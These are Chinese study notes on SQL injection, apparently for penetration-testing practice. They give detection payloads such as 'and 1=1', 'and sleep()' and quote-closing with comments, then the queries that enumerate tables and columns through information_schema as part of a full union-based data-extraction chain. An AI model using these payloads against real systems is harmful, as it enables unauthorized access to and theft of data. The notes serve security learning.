sql注入 用户输入的数据被当作sql代码执行
1.判断目标是否存在sql注入
经典判断 1 and 1=1正常 1 and1=2 错误
select*from news where id=1 and 1=1正常
select*from news where id=1 and 1=2 错误
and 和1=1 都起到了sql代码的意义
如果 1=1 1=2 都正常 大概率被强转(把用户的传参 强制改变格式)
强转就不能判断SQL注入了
常用判断
1)运算符(数字型)判断 2-1得到 1的数据
+ url编码(网页在传递数据的一种编码)
可以用工具 sqlmap 不可以的话就 假设存在漏洞 进行下一步操作
2)and sleep() 一旦生效 就是有SQL注入
闭合 '' 用来标记数据 "" 用来标记数据 --空 注释
select*from news where id= '1' and 1=1 -- qwe '
当注释不能用注释时 多闭合
select*from news where id= '1' and '1'='1'
2.通过漏洞尝试获取一些信息
用 order by 来判断字段数
查数据:
库 database()
表 系统自带库[information_schema库] 库.表.字段 选择这个库里面的这个表里面的字段
select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
limit 100,99 => 从第101条数据开始,取99条 101-199
tables 存放的是当前的数据库里面所有库和表的对应
字段:
information_schema.columns 表
select 1,column_name from information_schema.columns where table_name='admin' and table_schema=database()
一套完整的显错联合查询SQL注入:
判断 -> 猜字段数 -> 找显示位 -> 查库名 -> 查表名 -> 查字段名 -> 出数据
在测试中 只要查询出数据 就可认定漏洞